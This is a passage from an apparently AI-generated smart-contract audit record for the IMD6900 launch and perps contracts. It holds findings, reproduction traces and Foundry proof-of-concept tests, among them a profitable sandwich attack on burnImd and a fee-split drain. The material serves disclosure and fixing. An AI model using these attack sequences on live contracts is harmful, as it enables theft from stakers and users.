log_named_bytes32(\"ENGINE_CODE_HASH\", p.ENGINE_CODE_HASH());\n        assertEq(keccak256(vault), p.VAULT_CODE_HASH(), \"the vault's hash is the build's\");\n        assertEq(keccak256(engine), p.ENGINE_CODE_HASH(), \"the engine's hash must be the build's: createPerps refuses the audited engine otherwise\");\n    }\n}","reproduction":"forge build; forge test --match-path test/Perps.t.sol -> every test fails in setUp: [FAIL: NotThePerpsCode()] because pool.createPerps{value: 0.05 ether}(vm.getCode(\"PerpEngine.sol:PerpEngine\"), vm.getCode(\"PerpVault.sol:PerpVault\")) reverts. keccak256 of the built PerpEngine creation code = 0x136b10b3b461616f618358a9d4ad7fff26b80ac920c5d8092be808bdb60c0651, ENGINE_CODE_HASH = 0x3ce566f987e94e7d6e37f1e6eae05488d1ec6893765f381bd37b12579e9ade3f. Expected: equal, createPerps succeeds. Actual: NotThePerpsCode.","severity":"high","snippet":"    bytes32 public constant ENGINE_CODE_HASH = 0x3ce566f987e94e7d6e37f1e6eae05488d1ec6893765f381bd37b12579e9ade3f;","title":"ENGINE_CODE_HASH is not the hash of the PerpEngine this tree builds: createPerps refuses the audited engine, so the perps can never be created"},{"citation":"resolved","description":"activeEthDepth / PerpSwapLib._ethDepth compute the ETH the pool can pay as L*(1/sp - 1/SQRT_MAX), i.e. the virtual reserve of a FULL-RANGE book, and exitInsolvent, _checkNotional, the OI caps, _throttle and _project all use it. IMD6900LockedPool's one position is [LOWER_TICK, upperTick]: above the opening tick it holds nothing, so the pool's REAL ETH is L*(1/sp - 1/sqrt(upper)), which is 0 whenever the price is back at the opening tick, and the model overstates it by L/sqrt(upper) ~ the opening market cap (about 19 ETH for the 19.18 ETH opening in the tests, while the pool really holds 2.81 ETH right after launch). The comment in exitInsolvent assumes 'Full-range liquidity makes the depth constant along the way'. Consequence: a long that was opened when the price was within a few percent of the opening tick (2x: principal = collateral) is deemed solvent by both liquidation legs at every price the pool can ever reach (the price cannot pass the opening tick, so its mark value never falls below 1.1x principal and the modelled close-out proceeds stay above principal), yet once sellers (the timelock's fee-free sellHeld, spot sales, fee-free shorts) take the ETH back out and the price sits at the opening tick, the pool holds no ETH to pay its sale: close() sells into zero liquidity, sold = 0, unsold tokens are written off into plvToken (the TOKEN side's inventory), repay = 0 and _replenishPlv charges the ETH stakers' insurance then plv for the whole principal. The sweep cannot pre-empt it because the trigger it uses is the same model. Whoever drains the ETH (any seller) receives the long's borrowed ETH; the ETH stakers bear it; the token side gains the written-off coins.","line":366,"path":"src/perps/PerpSwapLib.sol","reproduction":"test/Perps.t.sol harness, engine owner setVaultLimits(10_000, 0) and insurance 0.55 ETH: (1) spot buyer buys 4 ETH; ALICE openLong{value: 0.1 ether}(2, 0) -> principal 0.0931 ETH, size S coins bought at a price 20-30% dearer than the opening tick; (2) vm.prank(TL); L.sellHeld(0,0,TL) (fee-free, as designed); the buyer sells spot in lots of 1/12 of its coins until the PoolManager holds < 0.9 ETH (no lot condemns ALICE: each projection moves the price < 5%), stakes the rest in vault.depositToken, and BOB opens 2x shorts of <= 0.3 ETH notional until inventory runs out: measured, the PoolManager is left holding 0.2006 ETH with engine.isLiquidatable(id) == false throughout, while engine.activeEthDepth() still reports ~19 ETH. Continuing the drain with any further seller (more token inventory or a plain spot seller holding claimed coins) to 0 ETH leaves ALICE's position 'healthy' at the opening tick with a sale value of 0: engine.close(id, 0) then yields sold == 0, emits TokenDebtWrittenOff(id, S) and BadDebt(0.0931 ETH, cover), and engine.totalEth() + engine.insuranceEth() drops by 0.0931 ETH. Expected: a position the pool cannot repay is liquidated while it still can be (the close-out test must use the ETH the position actually holds below upperTick), or cannot be opened at that depth. Actual: never liquidated, principal lost.","severity":"medium","snippet":"        uint256 term = FullMath.mulDiv(uint256(L), uint256(SQRT_MAX) - sp, uint256(SQRT_MAX));","title":"PerpEngine prices every long against a full-range ETH depth, but the locked position holds no ETH above the opening tick: a long can be unliquidatable by the model yet unrecoverable in the pool (bad d"},{"citation":"resolved","description":"burnImd is permissionless, takes a caller-chosen minImd (0 allowed) and only bounds each CALL at 0.1 ETH ('under what sandwiching it would be worth through two 1% fees'). nonReentrant blocks nesting but not sequential calls, so one transaction can call burnImd N times and spend the entire imdBucket; constant-product pools make N buys of 0.1 ETH equal one buy of N*0.1 ETH in price impact, so the per-call cap gives no sandwich protection at all. An MEV searcher front-runs with a $IMD buy, calls burnImd(0) until imdBucket is empty, and back-runs with a sale: the burn executor receives far less $IMD than the bucket is worth and the difference goes to the searcher. With a 1% fee pool the attacker pays ~2% of its own volume; the victim's slippage on a bucket of a few ETH in a $IMD pool of tens of ETH is tens of percent, so the attack is profitable whenever the bucket exceeds roughly 0.2-0.3 ETH, which it does after any harvest of real fee volume (10% of all pool fees land there).","line":464,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: after harvest(), imdBucket = 5 ether (10% of 50 ETH of collected fees); $IMD pool ETH/$IMD 1% with ~50 ETH of depth. Attacker tx: (1) buy $IMD with 20 ETH; (2) loop 50x burnImd(0) -> each spends 0.1 ETH, together 5 ETH, imdBucket == 0 after the loop (no check prevents it); (3) sell the $IMD bought in (1). Expected per the comment on IMD_BUY_MAX: at most 0.1 ETH of the bucket exposed to any one sandwich. Actual: all 5 ETH bought at a price the attacker moved first; the burn executor receives the $IMD of a buy near the top of the attacker's push instead of ~5 ETH worth. In the unit harness (test/IMD6900RobinhoodLaunch.t.sol's $IMD stand-in pool) calling L.burnImd(0) repeatedly in one test function drains imdBucket to 0 in one transaction.","severity":"medium","snippet":"        uint256 spend = imdBucket < IMD_BUY_MAX ? imdBucket : IMD_BUY_MAX;","title":"burnImd's IMD_BUY_MAX cap is per call, not per transaction: the whole $IMD bucket can be bought in one sandwichable transaction"},{"citation":"resolved","description":"lowerFee is the timelock's only way to lower the pool's 4.44% fee, and it refuses while the engine has any open position. Opening a position is permissionless and costs minCollateral (0.01 ETH after the 6.9% fee, so 0.0108 ETH sent). A 2x long is liquidated only when its value at the mark falls below 1.1x its principal, i.e. after a ~45% price fall, and funding is capped at 50% of collateral and never liquidates on its own; so a griefer (or any holder who simply likes the 4.44% fee because the fees accrue to their side) opens one minimum long and never closes it, and every lowerFee the timelock schedules reverts with PerpsOpen until the price halves. The timelock's only escape is hook.setPerpEngine(0) first, which makes lowerFee skip the check and strand every open position (their borrowed plv ETH, the stakers' money, never comes back), so the guard that protects the stakers hands any single trader a permanent veto over the fee move.","line":184,"path":"src/IMD6900LockedPool.sol","reproduction":"test/Perps.t.sol harness: vm.prank(ALICE); engine.openLong{value: 0.0108 ether}(2, 0); vm.warp(block.timestamp + 365 days); engine.poke(); assertFalse(engine.isLiquidatable(id)) holds while the price has not fallen ~45%; vm.prank(TL); pool.lowerFee(33_300) -> reverts PerpsOpen(). Expected: the timelock can lower the fee after its delay. Actual: reverts for as long as the position exists; re-opening costs the griefer ~0.0007 ETH of open fee per position. test_NoFeeMoveWithAPositionOpen already shows the revert with a 5x long.","severity":"medium","snippet":"            if (!ok || ret.length < 32 || abi.decode(ret, (uint256)) != 0) revert PerpsOpen();","title":"Anyone can veto lowerFee indefinitely for ~0.01 ETH: one minimum 2x long that is never underwater keeps PerpsOpen forever"},{"citation":"resolved","description":"The launch's unlockCallback (what == 2) arms a feeCheckpoint, swaps, then takes feeRefund. The swap's afterSwap hook runs _sweep(sender = launch, spec 0), which calls PerpEngine.sweepLiquidations; every liquidation the engine settles is a swap of its own that first calls pool.feeCheckpoint() -> _poke(address(this)): that poke takes ALL fees accrued so far, including the launch's just-paid 4.44% fee, to the locked pool itself. When control returns, the launch's feeRefund pokes again and finds ~0. 'back' is 0, the loop ends (left = 0), sold == paid, and the fee the design promised to refund ('Fee-free... the locked pool refunds it') is instead held by the locked pool and burned/split at the next collect. The same ordering cannot hurt the engine (its own swaps skip the sweep), only the launch. A big timelock sale pushes the price down and is exactly what liquidates longs in the post-trade sweep, so the loss triggers in the realistic case.","line":501,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: perps live, ALICE holds a 5x long near its mark trigger (e.g. opened after a whale buy as in test_AWhaleDumpLiquidatesInTheHooksSweepFirst); the pre-trade projection does not condemn it but the realised price does (spec-sized chunk just under the projection's 15% slack). Timelock: L.sellHeld(amount, 0, TL). Trace: feeCheckpoint (launch) -> swap -> afterSwap -> engine sweep -> _tryLiquidate -> engine swap -> pool.feeCheckpoint() [takes the launch's fee, amount*44400/1e6 coins, to the locked pool] -> ... -> launch feeRefund returns (0,0). Expected: back == 4.44% of amount, sold == amount - 4.44%^3. Actual: back == 0, sold == amount, and pool.collect() afterwards burns the launch's fee. Observable in a test by comparing the coins burned at pool.collect() after sellHeld with and without an open long that the sale sinks.","severity":"medium","snippet":"            (, uint256 back) = pool.feeRefund(address(this));","title":"sellHeld's fee refund is lost whenever the post-trade sweep liquidates: the timelock's sale pays the 4.44% fee it was promised back"}],"hash":"087e3d9f0ddbfc8904e6e87d57628bd392fecfad4543287a0fe03568029d6ac8","nodeId":"df161fbf-1da9-4fc6-81c4-ae26f74aafba","outcome":"completed","summary":"The report is written to `.imd-findings.json` with five findings, snippets verified against the tree. Only files under `test/scratch/` (mine, not kept) and the findings file were created. `git status` shows no tracked file changed.\n\n**Contracts read in full:** IMD6900RobinhoodLaunch, IMD6900LockedPool, IMD6900Hook, IMD6900, PerpEngine, PerpVault, PerpSwapLib, plus the two local test suites and the protected admission test. **Not reached:** RobinhoodFork.t.sol's live paths (no RPC), the real PonsPotBridge, IMDSTR, and $IMD pool on Robinhood, and the scripts under `script/`.\n\n**Findings, most severe first**\n\n- **High, with proof.** `ENGINE_CODE_HASH` in the locked pool is not the hash of the PerpEngine this tree builds. The build gives 0x136b…, the constant is 0x3ce5…, so `createPerps` reverts with `NotThePerpsCode` and the entire `test/Perps.t.sol` suite fails in setUp. The constant is baked into the pool the launch constructor creates, so on chain the audited engine could never be created. The vault hash does match. The attached Foundry test fails now and passes once the constant equals the build.\n- **Medium.** The engine's depth model treats the pool as full range, but the locked position holds no ETH above the opening tick. A 2x long opened near that tick stays \"solvent\" by every liquidation leg at any reachable price, yet once sellers take the ETH back out its close yields nothing and the ETH stakers eat the principal. I reproduced the drain to a pool holding less ETH than the model reports but ran out of time to push it below the long's principal, so this carries a concrete trace rather than a proof.\n- **Medium.** `burnImd` caps 0.1 ETH per call, not per transaction. Repeated calls in one transaction spend the whole $IMD bucket, so the cap gives no sandwich protection.\n- **Medium.** Anyone can block `lowerFee` indefinitely by holding one minimum 2x long that never goes underwater. The timelock's only way around strands open positions.\n- **Medium.** `sellHeld` loses its fee refund whenever the post-trade sweep liquidates something, because the engine's checkpoint pokes the launch's fee into the locked pool before the launch's refund runs.\n\n**Checked and found sound:** access control on every owner and timelock function, the claim Merkle flow and reserve accounting, the refund pair's atomicity for the engine's own swaps, the hook's address flags and permission checks, the absence of DELEGATECALL, CALLCODE and SELFDESTRUCT, and the vault's queue and share math.","treeHash":null,"usage":{"cachedInputTokens":2731461,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":81106,"runtime":"claude","turns":33,"wallClockMs":1219467}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fa5c50e7abe46571","findings":[{"citation":"resolved","description":"split() takes amount = balance - imdBucket and books 10% of it into imdBucket before paying the other payees (lines 462-473). A payee whose call fails only emits PayFailed and its ETH stays in the balance, so the next split() counts the refused ETH as new fees and books another 10% of it into imdBucket. split() and harvest() are permissionless, so while POT_BRIDGE (an external bridge contract: pausable, or refusing plain ETH) refuses, anyone can call split() repeatedly and move the pot's whole 90% into the burn bucket geometrically; burnImd() (also permissionless) then spends it. The stated 90/10 split is broken in the direction of the burn, and recoverEth can only rescue what is still in the balance. Reproduced on this tree with the attached proof (test/scratch copy of the economics specialist's test): after 61 splits of 10 ETH with a refusing pot, balance - imdBucket == 0.016 ETH instead of 9 ETH. Fix: keep what a payee refused out of the next amount (an owed[payee] ledger retried on later splits, or a 'refused' total subtracted like imdBucket).","line":462,"path":"src/IMD6900RobinhoodLaunch.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\n\n/// A pot bridge that refuses plain ETH (paused bridge, minimum deposit, no receive()).\ncontract RefusingPot {\n    receive() external payable {\n        revert(\"paused\");\n    }\n}\n\ncontract MockImdstr {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// The fee split's 90% to the pot bridge is a guarantee of the launch. When the pot bridge refuses its share,\n/// split() leaves it in the balance (\"for the next split\") but the next split() re-splits that same ETH and books\n/// 10% of it into imdBucket again. Anyone can call split() repeatedly, so the pot's share migrates into the $IMD\n/// burn bucket and is spent by burnImd(): the pot can never get it back.\ncontract SplitDriftTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    address constant POT = 0xc39e650a24985C2bBA9FD83C81041B8f3E3f9EDd;\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(\n            payable(vm.deployCode(\"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\", abi.encode(OWNER, PM, address(new MockImdstr()), TL)))\n        );\n        L.createHook(_mineHook());\n        bytes32 salt = _mineCoin();\n        address expected = L.tokenAddress(salt);\n        uint160 price = uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether)));\n        vm.deal(OWNER, 1 ether);\n        vm.prank(OWNER);\n        L.launch{value: 1 ether}(salt, expected, price, 0, address(L));\n        // the pot bridge refuses ETH\n        vm.etch(POT, address(new RefusingPot()).code);\n    }\n\n    function test_FailedPotShareMigratesIntoTheImdBucket() public {\n        // 10 ETH of fees arrive\n        vm.deal(address(this), 10 ether);\n        L.addFees{value: 10 ether}();\n        // first split: 9 ETH to the pot (refused, stays here), 1 ETH to the $IMD bucket\n        L.split();\n        assertEq(L.imdBucket(), 1 ether);\n        assertEq(address(L).balance, 10 ether);\n        // anyone calls split() again: the pot's unpaid 9 ETH is split AGAIN, 0.9 ETH more to the $IMD bucket\n        for (uint256 i; i < 60; ++i) L.split();\n        uint256 potShareLeft = address(L).balance - L.imdBucket();\n        emit log_named_decimal_uint(\"pot's share still reserved for it\", potShareLeft, 18);\n        emit log_named_decimal_uint(\"imdBucket (spent by burnImd on $IMD)\", L.imdBucket(), 18);\n        // the pot's 9 ETH must stay the pot's: it never agreed to fund the $IMD burn\n        assertEq(potShareLeft, 9 ether, \"the pot bridge's refused share was re-split into the $IMD bucket\");\n    }\n\n    /*                               HELPERS                                */\n\n    function _mineHook() internal view returns (bytes32) {\n        bytes32 initHash = L.hookInitCodeHash();\n        uint160 flags = L.FLAGS();\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), initHash);\n        for (uint256 i;; ++i) {\n            address a = _at(pre, i);\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoin() internal view returns (bytes32) {\n        bytes32 initHash = L.tokenInitCodeHash();\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), initHash);\n        for (uint256 i;; ++i) {\n            if (uint160(_at(pre, i)) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _at(bytes memory pre, uint256 salt) internal pure returns (address a) {\n        assembly (\"memory-safe\") {\n            mstore(add(pre, 53), salt)\n            a := and(keccak256(add(pre, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n        }\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}","reproduction":"State: launched (token != 0); POT_BRIDGE 0xc39e650a24985C2bBA9FD83C81041B8f3E3f9EDd has code whose receive() reverts (vm.etch). 1) addFees{value: 10 ether}(). 2) split(): imdBucket == 1 ether, PayFailed(POT_BRIDGE, 9 ether), balance still 10 ether. 3) split() 60 more times from any address. Expected: balance - imdBucket stays 9 ether (the pot's share) and imdBucket stays 1 ether. Actual: balance - imdBucket == 16173092699229886 wei and imdBucket == 9.9838 ether. forge test --match-path test/scratch/Proof_b1999bb1324e.t.sol fails: '16173092699229886 != 9000000000000000000'.","severity":"medium","snippet":"        amount = address(this).balance - imdBucket;","title":"split() re-splits a payee's refused share on every call, so the pot's 90% drifts into the $IMD burn bucket (merged: audit_economics + audit_flow)"},{"citation":"resolved","description":"burnImd(minImd) spends up to IMD_BUY_MAX of imdBucket on the $IMD pool (exact input, limit MIN_SQRT_PRICE + 1, line 536) at whatever price the pool shows, and the only slippage bound is the caller's own argument (line 488). The call opens its own PoolManager unlock, so one transaction can buy $IMD, call burnImd(0) and sell back: the burn buy executes at the pushed price and the attacker keeps the difference. The 1-second / 0.1 ETH throttle bounds each call, not the attack: it repeats until the bucket is empty. Profitability needs a shallow $IMD pool relative to the sandwich (with its 1% fee, roughly below ~10 ETH of active depth). Reproduced with the attached proof (audit_flow's test): with ~6 ETH of depth and a 3 ETH sandwich the burn executor receives 11.67 $IMD instead of 25.43, and the attacker nets +0.0035 ETH per call. Fix: derive the floor on-chain (the $IMD pool's own TWAP, or a timelock-set minimum $IMD-per-ETH beside setImdPool) or restrict burnImd to the owner/timelock with a non-zero minImd.","line":488,"path":"src/IMD6900RobinhoodLaunch.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {IMD6900Hook} from \"src/IMD6900Hook.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\n\ninterface IERC20 {\n    function balanceOf(address) external view returns (uint256);\n    function transfer(address, uint256) external returns (bool);\n}\n\ncontract MockToken {\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; totalSupply += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// A plain trader (a router): one unlock per swap\ncontract Trader {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); IERC20(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) {\n            pm.take(c, address(this), uint128(v));\n        }\n    }\n    receive() external payable {}\n}\n\ncontract LiquidityAdder {\n    IPoolManager immutable pm;\n    PoolKey key;\n    uint256 liq;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function add(PoolKey calldata k, uint256 l) external { (key, liq) = (k, l); pm.unlock(\"\"); }\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        (BalanceDelta d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(TickMath.minUsableTick(key.tickSpacing), TickMath.maxUsableTick(key.tickSpacing), int256(liq), 0), \"\");\n        pm.settle{value: uint128(-d.amount0())}();\n        pm.sync(key.currency1);\n        IERC20(Currency.unwrap(key.currency1)).transfer(address(pm), uint128(-d.amount1()));\n        pm.settle();\n        return \"\";\n    }\n    receive() external payable {}\n}\n\ncontract BurnImdSandwichTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n    PoolKey ik;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(payable(vm.deployCode(\"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\", abi.encode(OWNER, PM, address(new MockToken()), TL))));\n        L.createHook(_mineHook());\n        // $IMD and a thin pool: ~261 $IMD per ETH, about 6 ETH of ETH-side depth\n        address imd = L.IMD();\n        vm.etch(imd, address(new MockToken()).code);\n        LiquidityAdder adder = new LiquidityAdder(PM);\n        vm.deal(address(adder), 100 ether);\n        MockToken(imd).mint(address(adder), 1e30);\n        ik = L.imdPoolKey();\n        PM.initialize(ik, uint160(_sqrt(261 << 192)));\n        adder.add(ik, 1e20);\n        // launch, then 50 ETH of fees split: 5 ETH in the $IMD bucket\n        bytes32 salt = _mineCoin();\n        address expected = L.tokenAddress(salt);\n        vm.deal(OWNER, 1 ether);\n        vm.prank(OWNER);\n        L.launch{value: 1 ether}(salt, expected, uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether))), 0, address(L));\n        vm.deal(address(this), 50 ether);\n        L.addFees{value: 50 ether}();\n        L.split();\n        assertEq(L.imdBucket(), 5 ether);\n    }\n\n    /// Fails on the current code: burnImd accepts whatever price the caller just set in the $IMD pool, so a\n    /// sandwicher is paid out of the burn's ETH. Passes once burnImd refuses a buy that is manipulated away from the\n    /// pool's fair price (or otherwise bounds the price it pays), whether by reverting or by returning the fair amount.\n    function test_TheBurnBuyCannotBeSandwichedForProfit() public {\n        address imd = L.IMD();\n        // control: what an unmolested burn buy returns\n        uint256 snap = vm.snapshotState();\n        uint256 clean = L.burnImd(0);\n        vm.revertToState(snap);\n\n        Trader attacker = new Trader(PM);\n        vm.deal(address(attacker), 3 ether);\n        uint256 before = address(attacker).balance;\n        // one transaction from the attacker: buy $IMD, trigger the burn buy at the inflated price, sell back\n        attacker.swap(ik, true, -3 ether);\n        (bool ok, bytes memory ret) = address(L).call(abi.encodeCall(L.burnImd, (0)));\n        uint256 got = ok ? abi.decode(ret, (uint256)) : 0;\n        attacker.swap(ik, false, -int256(IERC20(imd).balanceOf(address(attacker))));\n        emit log_named_decimal_uint(\"burn executor got, clean\", clean, 18);\n        emit log_named_decimal_uint(\"burn executor got, sandwiched\", got, 18);\n        emit log_named_decimal_int(\"attacker profit\", int256(address(attacker).balance) - int256(before), 18);\n        if (ok) assertGe(got, clean * 9 / 10, \"the burn bought far less $IMD than the pool's fair price gives\");\n        assertLe(address(attacker).balance, before, \"the sandwicher must not profit from the burn's ETH\");\n    }\n\n    function _mineHook() internal view returns (bytes32) {\n        bytes32 initHash = L.hookInitCodeHash();\n        uint160 flags = L.FLAGS();\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(L), bytes32(i), initHash)))));\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoin() internal view returns (bytes32) {\n        bytes32 initHash = L.tokenInitCodeHash();\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(L), bytes32(i), initHash)))));\n            if (uint160(a) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}","reproduction":"State: launched; 50 ETH of fees split so imdBucket = 5 ETH; the $IMD pool (ETH/$IMD, fee 10000, spacing 100, no hook) initialized at ~261 $IMD per ETH with 1e20 full-range liquidity. Control: burnImd(0) alone sends 25.43 $IMD to IMD_BURN. Attack, one transaction from any address: (1) swap 3 ETH -> $IMD on that pool; (2) L.burnImd(0); (3) sell all $IMD back. Expected: the burn's 0.1 ETH buys at or near the pool's fair price and no third party profits from calling it. Actual: the burn executor receives 11.67 $IMD (54% less), imdBucket is reduced by the full 0.1 ETH, the attacker ends 0.0035 ETH richer; repeatable each second. forge test --match-path test/scratch/Proof_7e7de09aac8c.t.sol fails: '11673209859601526030 < 22889014487592925638'.","severity":"medium","snippet":"        if (imd < minImd) revert Short(imd);","title":"burnImd() is a permissionless swap whose only price floor is the caller's minImd: the $IMD burn buys are sandwichable at 0.1 ETH per second (merged: audit_flow + audit_economics + audit_permissions)"},{"citation":"resolved","description":"isRefunded decides who may call feeCheckpoint by reading the hook's CURRENT perpEngine (line 252), and PerpSwapLib.swapLeg calls IFeeRefund(launcher).feeCheckpoint() unconditionally on every engine swap (src/perps/PerpSwapLib.sol line 532) because the hook always reports a launcher. So the moment the timelock calls hook.setPerpEngine(x) with x != the engine createPerps made (including address(0), documented as 'Zero turns perps off'), every swap that engine makes reverts with NotRefunded: PerpEngine.close (the trader), PerpEngine.liquidate (anyone) and the sweep's _settle all route through swapLeg. Open positions, their collateral, the shorts' held ETH and the vault's lent principal (longOiEth, shortOiToken) are frozen. The sibling guard in lowerFee (lines 182-186) refuses to move the liquidity while the engine has positions, but it asks the hook's current engine, not pool.perpsEngine: after a replacement with a fresh engine (openCount 0) the timelock can move the liquidity while the created engine still holds positions, after which even re-wiring cannot rescue them (the engine's immutable poolId no longer matches hook.poolId -> NotOurPool). The setter is the timelock's documented remedy for a stuck engine; its hidden consequence is freezing user funds. Reproduced with the attached proof (audit_permissions' test): both tests fail on this tree. Fix preserving the design: let isRefunded also accept pool.perpsEngine, or make swapLeg fall back to an un-refunded swap when feeCheckpoint reverts; and have setPerpEngine (or lowerFee) check the created engine's openCount as lowerFee does for the hook's.","line":252,"path":"src/IMD6900LockedPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {IMD6900Hook} from \"src/IMD6900Hook.sol\";\nimport {IMD6900LockedPool} from \"src/IMD6900LockedPool.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\nimport {PerpEngine} from \"src/perps/PerpEngine.sol\";\nimport {PerpVault} from \"src/perps/PerpVault.sol\";\n\n/// A stand-in for the old IMDSTR (the launch only needs an address with code for a launch without claims)\ncontract NoImdstr {}\n\n/// The timelock turns the perps off (IMD6900Hook.setPerpEngine(0), \"Zero turns perps off\") or replaces the engine\n/// while the engine the launch created still has a position open. Expected: the open position can still be closed by\n/// its trader (its collateral and the vault's lent ETH come back). Actual: IMD6900LockedPool.isRefunded now says no for\n/// the old engine, PerpSwapLib.swapLeg's feeCheckpoint() reverts NotRefunded, and close/liquidate/sweep all revert:\n/// the position, its collateral and the vault's principal are frozen until (and unless) the timelock re-wires it.\ncontract EngineReplaceStrandsTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    address constant STAKER = address(0x57A4E);\n    address constant ALICE = address(0xA1);\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n    IMD6900Hook hook;\n    IMD6900LockedPool pool;\n    PerpEngine engine;\n    PerpVault vault;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(\n            payable(\n                vm.deployCode(\n                    